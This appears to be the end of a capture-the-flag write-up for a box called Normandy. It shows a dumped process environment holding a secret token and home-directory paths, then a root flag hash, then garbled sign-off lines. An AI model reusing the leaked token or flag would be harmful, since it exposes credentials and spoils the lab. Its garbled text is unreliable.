%swatch=falsewindowsHide=trueautomation=trueaxm_actions=SHLVL=1TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwEPM2_INTERACTOR_PROCESSING=truecreated_at=1633619800035merge_logs=truepm_pid_path=/home/dasith/.pm2/pids/index-0.pidPATH=/usr/bin:/binpm_err_log_path=/home/dasith/.pm2/logs/index-error.lognode_version=10.19.0kill_retry_time=100autorestart=trueaxm_dynamic=[object Object]node_args=exec_mode=fork_modepm_exec_path=/home/dasith/local-web/index.jsOLDPWD=/home/dasithstatus=launchingname=indexpm_out_log_path=/home/dasith/.pm2/logs/index-out.log_=./count./countbemX__vdso_gettimeofday__vdso_time__vdso_clock_gettime__vdso_clock_getres__vdso_getcpulinux-vdso.so.1LINUX_2.6LinuxLinuxAUATSA\A]][A\MA]]I[A\][A\]GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0.shstrtab.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_d.dynamic.note.eh_frame_hdr.eh_frame.text.altinstructions.altinstr_replacement.comment
🦾 Normandy login: root permission flag
🪵 From the information of faces, it is found that
oot/root.txt5fa8441d1d205afd5bcc44d56c96c8b4
📽 The end of the play
🍀 acesec 🍀
🎴🎴🎴🎴🎴🂢 🂡🎴🎴🎴🎴🎴🎴
One day I was a wine worshiper, and all my life I was
No wind offering wine @ acesec
Just take your own notes at CyberWorld
I am the public servant of my people
Classmate gold finger 3 company! Triple kill!